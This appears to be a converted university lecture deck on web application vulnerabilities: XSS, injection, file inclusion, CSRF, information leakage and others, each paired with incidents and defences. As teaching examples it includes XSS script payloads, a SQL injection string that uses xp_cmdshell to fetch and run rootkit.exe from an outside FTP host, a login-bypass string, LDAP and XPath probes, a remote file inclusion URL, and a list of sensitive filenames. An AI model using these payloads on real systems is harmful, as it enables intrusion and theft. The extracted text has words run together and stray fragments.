Tracking Down App Security

8/3/2019 Tracking Down App Security

http://slidepdf.com/reader/full/tracking-down-app-security 1/69

Tracking Down ApplicationSecurity Vulnerabilities

Cross si t e sc r ipt ing a t t ac k (CSS or

XSS) – creating a malicious script on onesite that runs in the browser tocompromise user data.



Cross site scripting attacks

Problem: The “most prevalent and

pernicious” Web application securityvulnerability, XSS flaws happen when anapplication sends user data to a Web

browser without first validating or encodingthe content. This lets hackers executemalicious scripts in a browser, letting them

hijack user sessions, deface Web sites,insert hostile content and conduct phishingand malware attacks.



Cross site scripting attacksThese attacks are usually executed with

JavaScript, letting hackers manipulate anyaspect of a web page.

Real-world example: PayPal was targeted last

year when attackers redirected PayPal visitors toa page warning users their accounts had beencompromised. Victims were redirected to aphishing site and prompted to enter PayPal login

information, Social Security numbers and creditcard details. PayPal said it closed thevulnerability in June 2006.



Cross site scripting attacks

How to protect users: Use a white-list to validate

all incoming data, which rejects any data that’snot specified on the white-list as being good.

This approach is the opposite of blacklisting, which

rejects only inputs known to be bad. Additionally,use appropriate encoding of all output data.Validation allows the detection of attacks, and

encoding prevents any successful script injectionfrom running in the browser.



Cross site scripting attacksYou often receive an email with a hyperlink. Imagine receiving a message with a link to

your online banking site exclaiming that you could win $100 dollars as part of apromotional push to utilize the site. If you clicked the link, and logged into the site,you could have revealed your logon information to an attacker.

Demo:http://www.tipicalcharlie.com/index.cfm?search=%3Cscript%3Ealert%28window.location%29%3B%3C%2Fscript%3E

http://www.tipicalcharlie.com/index.cfm?search=%3Cscript%3Evar%20wvs_xss _test_variable=1990206184%3Balert%28wvs_xss_test_variable%29%3B%3C%2Fscript%3E

<script>

var wvs_xss_test_variable=1990206184;alert(wvs_xss_test_variable);</script>

http://www-uxsup.csx.cam.ac.uk/~jw35/docs/cross-site-demo.html



Tracking Down ApplicationSecurity

I njec t ion f law s

Problem: When user-supplied data issent to interpreters as part of acommand or query, hackers trick theinterpreter — which interprets text-

based commands — into executingunintended commands.



Injection flaws- Injection flaws allow attackers to create,

read, update, or delete any arbitrarydata available to the application.

- In the worst-case scenario, these flawsallow an attacker to completelycompromise the application and the

underlying systems, even bypassingdeeply nested firewalled environments.



Injection flawsReal-world example: Russian hackers

broke into a Rhode Island governmentWeb site to steal credit card data inJanuary 2006. Hackers claimed the SQLinjection attack stole 53,000 credit cardnumbers, while the hosting service

provider claims it was only 4,113.



How to protect users: Avoid using

interpreters if possible. If you mustinvoke an interpreter, the key methodto avoid injections is the use of safeAPIs, such as strongly typedparameterized queries and object

relational mapping libraries.

Injection flaws



Injection flawsSQL Injection Attack – When user input is used

in an SQL query and the user input is notvalidated, the SQL server can be attacked.

Often the data for dynamically produced web

pages is stored in an SQL database. Thedata is retrieved using SQL and added tostatic information to display to the web user.Most E-commerce applications use this

model. User information is stored in adatabase along with the product catalog,user orders, order status, etc.



SQL InjectionConsider the following VBScript query:

Query1 = “INSERT INTO Records (Name, CardNum)VALUES (‘” & Request.Form(“Username”) & “’,’” &Request.Form(“CreditCard”) & “’)”

This query takes several inputs from forms filled in by the user. Normally‘CardNum’ would contain a credit card number like, 560545334506.However, if a crafted CardNum was entered and no input validation is

done, the query could be hijacked as follows:



SQL Injection ExamplesCardNum= 1’); EXEC xp_cmdshell ‘echo open 111.22.3.45 4444 > o&

echo get rootkit.exe>>o&echo bye>>o&ftp –i –n –s:o&rootkit.exe’—‘)

(notice comment start – on end of string)

This would evaluate to:

Query1 = “INSERT INTO Records (Name, CardNum)VALUES ( Username , 1’); EXEC xp_cmdshell ‘echo open111.22.3.45 4444 > o& echo get rootkit.exe>>o&echo bye>>o&ftp – i –n –s:o&rootkit.exe’—‘))”

If this SQL server were running on Windows, the above crafted stringwould result in the SQL server downloading the file, rootkit.exe, fromthe ftp site at 111.22.3.45 and executing rootkit.exe.



SQL Injection• Other attack approaches of this type include modifying

the SQL to return the password table for the database,altering the sa account password or creating an adminlevel account with a password of the attacker’s choosing.

• The attacker may also use the sa account to alter web

pages so the attacker can steal user credentials whenthey login.

• To prevent this kind of attack, the user input must bestripped of characters and strings that could be malicious.

The input validation should be done on the server side,since client side validation could be bypassed.



SQL InjectionAuthentication Bypass Exploit:

Consider a login form that accepts username and password and thenexecutes the following SELECT to check the credentials:

SELECT * FROM tblUsers WHERE username = ‘jeff’ ANDpassword =‘Trickey’

However, what if the user entered something besides a password inthat input form, and instead entered an SQL command?

Username: jeff Password: x ’ OR ‘1 ’= ‘1



SQL InjectionAuthentication Bypass Exploit:

The application might then create a SQL statement such as the following:

SELECT * FROM tblUsers WHERE username = ‘jeff’ AND password = ‘x’OR ‘1’ = ‘1’

Injection attacks are an attempt by an attacker tomanipulate query data to modify query logic for maliciouspurposes.

In this instance, a “true” condition has been included

instead of a valid password, effectively bypassing theauthentication mechanism and giving the attackerunauthorized access to the application.



Injection AttacksAny other query or command language

that accepts user input can also besusceptible to injection attacks.

LDAP, JavaScript, XPath, CommandShells…as long as they accept

unsanitized user input, they can beexploited.



LDAP InjectionSuppose there is a web interface to do ldap searches for Names, email

addresses and telephone numbers. A normal URL might be:

http://tim.ncsu.edu/ldap-search.asp?user=amridgley

User information for: Amber Ridgley

Cn: Amber Ridgley

Mail: [email protected]: 919-555-4242



LDAP InjectionIn the ldap-search.asp function, the real query is:

http://tim.ncsu.edu/ldap-search.asp?user=amridgley

userName=amridgley

Filter = (uid=amridgley)Search ou=people,dc=tim,dc=ncsu.edu

Ldap search filter = (uid=amridgley)

Ldap search attributes = cn, mail,telephoneNumber

Note: The filter is uid = user_supplied_value



LDAP InjectionTo find out if your application is vulnerable, an attacker might send

these URLs:

http://tim.ncsu.edu/ldap-search.asp?user=amridgley)

http://tim.ncsu.edu/ldap-search.asp?user=amridgley|

http://tim.ncsu.edu/ldap-search.asp?user=amridgley%26

If the application doesn’t return an error, but simply returns no data, theattacker knows there is no validation being done.



LDAP InjectionNext an attacker might try to get more data than the application is supposed to

return:

http://tim.ncsu.edu/ldap-search.asp?user=amridgley)(|(objectclass=*)

User information for : top

Objectclass : top:person

:organizationalPerson

:uid

:uidnumber

:gidnumber

:posixAccount



LDAP Injectionpos ixAccount objectclass could contain interesting information.

http://tim.ncsu.edu/ldap-search.asp?user=amridgley)(|(homedirectory=*)

User information for : /home/amridgley

homedirectory: /home/amridgley



Preventing LDAP InjectionInc om ing Dat a Val idat ion

All client-supplied data needs to be cleaned of any characters orstrings that could possibly be used maliciously. This shouldbe done for all applications, not just those that use LDAPqueries.

Stripping quotes or putting backslashes in front of them maynot be enough. The best way to filter data is with a default-deny regular expression that includes only the type of characters that you want.

If you need to include symbols or punctuation of any kind, makeabsolutely sure to convert them to HTML substitutes (such as“ &quote; ” or “ > ”).



Preventing LDAP InjectionFor instance, if the user is submitting an email address, allow

only the “at” sign, underscore, period, and hyphen in addition

to numbers and letters, and only after those characters havebeen converted to their HTML substitutes.

Out going Dat a Val idat ionAll data returned to the user should be validated and the

amount of data returned by the queries should be restrictedas an added layer of security.



Preventing LDAP InjectionLDAP Conf igurat ion

Implementing tight access control on the data in the LDAP directory isimperative, especially when configuring the permissions on userobjects, and even more importantly if the directory is used forsingle sign-on solution.

Understand how each objectclass is used and decide if the user shouldbe allowed to modify it.

Allowing users to modify their uidNumber attribute, may let the userchange access levels when accessing systems.

The access level used by the Web application to connect to the LDAPserver should be restricted to the absolute minimum required.

That way, even if an attacker manages to find a way to break theapplication, the damage would be limited.



XPath InjectionSuppose there is an application displaying a catalog of parts:

Normal out pu t w hen Par t Num ber is en tered



XPath InjectionThe XML contains:

<products><product catalogNumber=“aaa123”>

<name>Blue Sprocket</name>

<price>4.00</price>

<cost>1.50</cost></product>

</products>

So the XPath search is:

/products[product catalogNumber = ‘aaa123’]

Note: The filter is a user_supplied_value



XPath InjectionTo determine that an application is vulnerable to XPath injection, the first step is

to append information to the Part Number that is always true.

The fact that the application still returned valid data is evidence that theapplication accepted the additional information and processed it as part of the

query.



XPath InjectionNext an attacker enters a query that will always be false:

Since the query clause “1 = 2” will never be true, this query returns no results. The attackernow knows what the application’s response will be in answer to a “false” question as wellas a “true” question. Now he can ask any question he wants and understand the answer.



XPath InjectionSo, to determine the number of nodes in the data, an attacker might try this:

aaa123’ and (count(/descendant::*[position() = 1]/child::node()) =2) or ‘1’ = ‘2

If the response is the “true” response, the number of nodes is 2. If it is “false”, try

again with node = 3 and keep guessing from there.

As you can see, an attacker can determine the structure of the data and view it byadding XPath commands to the part number.



Preventing XPath InjectionLike with LDAP injection, the way to prevent it is to sanitize all input from the user.

Filter data by using a default-deny regular expression. Make it so that you includeonly the type of characters that you want.

Make your filter narrow and specific.

If you need to include symbols or punctuation of any kind, make absolutely sureto convert them to HTML substitutes, such as &quote; or >

XPath does not utilize access control restrictions as SQL does via privileges, so asuccessful XPath Injection attack can yield complete results in that all the datain the document will be revealed.



Tracking Down Application

Security VulnerabilitiesMalic ious f i le ex ec u t ion

Problem: Hackers can perform remote code execution,remote installation of rootkits, or completely compromisea system.

Any type of Web application is vulnerable if it acceptsfilenames or files from users.

The vulnerability is most common with PHP, a widely usedscripting language for Web development.



Malicious file executionReal-world example:

A teenage programmer discovered in 2002 thatGuess.com was vulnerable to attacks that couldsteal more than 200,000 customer records fromthe Guess database, including names, credit cardnumbers and expiration dates. Guess agreed toupgrade its information security the next yearafter being investigated by the Federal Trade

Commission.GET //dotproject/includes/db_adodb.php?baseDir=http://www.hotelalpino.com.br/ferias/vnc/cmd/cmd.txt?



Malicious file executionHow to protect users: Don’t use input

supplied by users in any filename forserver-based resources, such as imagesand script inclusions.

Set firewall rules to prevent new connectionsto external Web sites and internal systems.

Use PHP mod like Suhosin that blocks file

includes except those from white-listedsources.




Security VulnerabilitiesInsec ure d i rec t ob jec t re fe renc e

Problem: Attackers manipulate direct objectreferences to gain unauthorized access to other

objects. It happens when URLs or formparameters contain references to objects suchas files, directories, database records or keys.



Insecure direct object

reference- Banking Web sites commonly use a customer

account number as the primary key, and mayexpose account numbers in the Web interface.

- If references to database keys are exposed, anattacker can attack these parameters simply byguessing or searching for another valid key.

Often, these are sequential in nature.



Insecure direct object reference

Real-world example: An Australian Taxation

Office site was hacked in 2000 by a userwho changed a tax ID present in a URL toaccess details on 17,000 companies. The

hacker e-mailed the 17,000 businesses tonotify them of the security breach.



Insecure direct object

referenceHow to protect users: Use an index, indirect

reference map or another indirect methodto avoid exposure of direct objectreferences.

If you can’t avoid direct references, makesure to authorize Web site visitors before

giving them access to objects.



Insecure direct object referencehttps://submit.ncsu.edu/wrap-bin/submit_admin/www:744::002:8:2007

What happens if you GET the URL aboveand then change it to:

https://submit.ncsu.edu/wrap-bin/submit_admin/csc:405::001:8:2007 ??

Can you access the submit locker forclasses where you are not on the supportlist?




SecurityCross s i t e request forgery

Problem: This attack takes control of victim’s browserwhen it is logged onto a Web site and sends maliciousrequests to the Web application. Web sites areextremely vulnerable, partly because they tend toauthorize requests based on session cookies or“remember me” functionality.

Many applications on the Internet are susceptible to cross

site request forgery. In the case of an online bankingsite, to the bank, all it looks like is a legitimatetransaction from a logged-in user.



Real-world example: A hacker known as Samy gainedmore than a million “friends” on MySpace.com with a

worm in late 2005, automatically including the message“Samy is my hero” in thousands of MySpace pages. Theattack itself may not have been that harmful, but it wassaid to demonstrate the power of combining cross site

scripting with cross site request forgery.

XSRF can be used to force users to make requests totransfer money out of bank accounts, send maliciousemails, reset user information, or leverage any type offunctionality the web application contains.

Cross site request forgery



Cross site request forgery

How to protect users: Don’t rely on

credentials or tokens automaticallysubmitted by browsers. The only solutionis to use a custom token that the browser

will not ‘remember’.

T ki D A li i




SecurityIn format ion leakage and improper er ror handl ing

Problem: Error messages that applications generateand display to users are useful to hackers when

they violate privacy or unintentionally leakinformation about the program’s configuration andinternal workings.



Information leakage and

improper error handlingReal-world example: Information leakage goes

well beyond error handling, applying also tobreaches occurring when confidential data is leftin plain sight.

The records of 163,000 consumers werecompromised after criminals pretending to belegitimate ChoicePoint customers sought detailsabout individuals listed in the company’s

database of personal information.ChoicePoint subsequently limited its sales ofinformation products containing sensitive data.



Information LeakageHow to protect users: Use a testing tool

such as OWASP’S WebScarab Project tosee what errors your application generates.

Applications that have not been tested inthis way will almost certainly generate

unexpected error output.



Information LeakageHow to protect users: Use a fuzzing tool.

“Fuzzing” is an automated software testing technique thatgenerates and submits random or sequential data to

various areas of an application in an attempt to uncoversecurity vulnerabilities.



FuzzingFuzzing can be used to test variations of input such as:

resource path / fo lder / file.html

resource file / folder / f i le .html

resource file extension / folder /file.h tm l

resource and query delimiter /folder/file.html?parameter=value

parameter name /folder/file.html?paramete r=value

parameter name value assignment /folder/file.html?parameter=value

parameter value /folder/file.html?parameter=value

parameter separator /folder/file.html?parameter=value& parameter2=value2



FuzzingFuzzers c an a lso var y t he:

Method

Request-URI

Protocol version

Header Fields

Cookies



Information Leakage ExamplesNot Found messages

The requested URL /<script>alert(window.location);</script> was not found on this server.

Apache/1.3.34 Server at www.ncsu.edu Port 80

Example 404 Error page



Information Leakage Examples

Example login screen showing OS is OpenBSD



Information Leakage ExamplesMapping Server Error

This server encountered an error:

Couldn’t open configuration file: C:\inetpub\wwwroot\config\bad.map



Error message reveals information about loginprocess.asp script

Information Leakage Examples



Information Leakage• If an attacker sends a crafted SQL query

to a database server, they can often learnthe name of the script and then use thatinformation in an attack.

• The error could also reveal the path to the

scripts directory which is also needed for asuccessful attack.



Information LeakageAnother common method employed for mapping

the web server file space is to craft URLs to see

if the server will output a different error when afile exists, but is not permitted to be viewedversus the file doesn’t exist at all.

For example, if the server outputs ‘access denied’for a file that exists, but isn’t supposed to beviewed, versus ‘file not found’ if the file really

isn’t there, the attacker can craft URLs todetermine what directory stores a given file thatmay be vulnerable.

Tracking Down Application Security




VulnerabilitiesBroken au thent i ca t ion and sess ion m anagement

Problem: User and administrative accounts can behijacked when applications fail to protectcredentials and session tokens from beginning toend.

Watch out for privacy violations and the

undermining of authorization and accountabilitycontrols.

Broken authentication and



Broken authentication and

session managementReal-world example: Microsoft had to eliminate a

vulnerability in Hotmail that could have letmalicious JavaScript programmers steal userpasswords in 2002.

This flaw was revealed by a networking productsreseller, the flaw allowed creating e-mailscontaining Trojans that altered the Hotmail userinterface, forcing users to repeatedly reentertheir passwords and unwittingly send them tohackers.

Broken authentication and session



Broken authentication and session

management

How to protect users: Communication and

credential storage has to be secure. TheSSL protocol for transmitting privatedocuments should be the only option for

authenticated parts of the application, andcredentials should be stored in hashed orencrypted form.



Cookies• HTTP is a stateless protocol. Cookies are

used to record the state of a connectionbetween client and server across severalHTTP requests.

• Instead of the server trying to track theconnection state, the server provides

cookie data for the client to store. Theserver specifies the cookie name.



Cookies• The cookie size is limited to 4kb. The server

may store some information on the server sideand the cookie maybe some type of index intothe server session information.

• Cookies are associated with a domain. A cookiecreated by server1.yahoo.com can be accessed

by server5.yahoo.com because they have thesame root domain.



Poison Cookie attack• In this attack, the cookie contents are changed

intentionally for malicious purposes. If the server doesn’t

create tamper resistant cookies or encrypt cookie data,the cookie could be altered to allow unauthorized activity.The cookie data may contain privilege level, user ids,product pricing, discount rates, etc. This data could be

altered to allow one user to impersonate another or formalicious users to alter product prices for an order.

• A cross site scripting attack may be used to poison

cookies or steal them for unauthorized activity.





VulnerabilitiesInsec ure c rypt ographic s t o rage

Problem: Many Web developers fail to encrypt sensitivedata in storage, even though cryptography is a key partof most Web applications. Even when encryption ispresent, it’s often poorly designed, using inappropriateciphers.

These flaws can lead to disclosure of sensitive data andcompliance violations if database tables are dumped ordata leakage occurs in a URL or error message.



Insecure Cryptographic StorageReal-world example: The TJX data breach that exposed 94

million credit and debit card numbers. A Canadian

government investigation faulted TJX for failing toupgrade its data encryption system before it wastargeted by electronic eavesdropping starting in July2005.

In this case, hackers gained access to the corporatenetwork and installed a Trojan that collected credit cardnumbers, expiration dates, names, addresses, and other

validation information as they were sent to the paymenttransaction system in clear text. Hackers thenconnected and downloaded the stolen informationperiodically for 18 months.



Insecure Cryptographic StorageHow to protect users: Don’t invent your own

cryptographic algorithms. Use approvedpublic algorithms such as AES, RSApublic key cryptography, and SHA-256 or

better for hashing.

Furthermore, generate keys offline, and

never transmit private keys over insecurechannels.




g pp

SecurityInsec ure c omm unica t ions

Problem: Failure to encrypt network traffic whenit’s necessary to protect sensitivecommunications.

Attackers can access unprotected conversations,

including transmissions of credentials andsensitive information.

For this reason, PCI standards require encryption

of credit card information transmitted over theInternet.



Insecure CommunicationsReal-world example:

TJX again. Investigators believe hackersused a telescope-shaped antenna andlaptop computer to steal data exchanged

wirelessly between portable price-checking devices, cash registers and storecomputers.



Insecure CommunicationsHow to protect users:Use SSL on any authenticated connection or

during the transmission of sensitive data, suchas user credentials, credit card details, healthrecords and other private information.

SSL or a similar encryption protocol should also beapplied to client, partner, staff and administrativeaccess to online systems.

Use transport layer security or protocol level

encryption to protect communications betweenparts of your infrastructure, such as Web serversand database systems.




g pp y

VulnerabilitiesFai lure to res t r ic t URL ac c ess

Problem: Some Web pages are supposed to berestricted to a small subset of privileged users,such as administrators. Yet often there’s no realprotection of these pages, and hackers can find

the URLs by making educated guesses.

Say a URL refers to an ID number such as

“123456.” A hacker might say ‘I wonder what’s in123457?’



Failure to Restrict URL AccessReal-world example: A hole on the Macworld

Conference & Expo Web site this year let usersget “Platinum” passes worth nearly $1,700 andspecial access to a Steve Jobs keynote speech,all for free.

The flaw was code that evaluated privileges on theclient but not on the server, letting people grab

free passes via JavaScript on the browser,rather than the server.



Failure to Restrict URL AccessHow to protect users: Don’t assume users will be

unaware of hidden URLs.

All URLs and business functions should beprotected by an effective access control

mechanism that verifies the user’s role andprivileges.

Make sure this is done every step of the way, not

just once towards the beginning of any multi-step process.



Failure to Restrict URL AccessGOOGLE and other search engines can also aid the

attacker in finding out information on a target. The

attacker would search for files that should not beaccessible, but are due to some oversight, or error inconfiguring file permissions. Some example filenamesare listed below:

Admin.asp shadow

Config.asp .htaccessPassword.asp .htpasswd

Admin.aspx rootAdmin.pl Administrator

Config.pl Webmin

Admin.cfm miniserv.pl /etc/passwd passwordPasswd username

Date post:	06-Apr-2018
Category:	Documents
Upload:	georgesharmokh
View:	219 times
Download:	0 times

Tracking Down App Security

Documents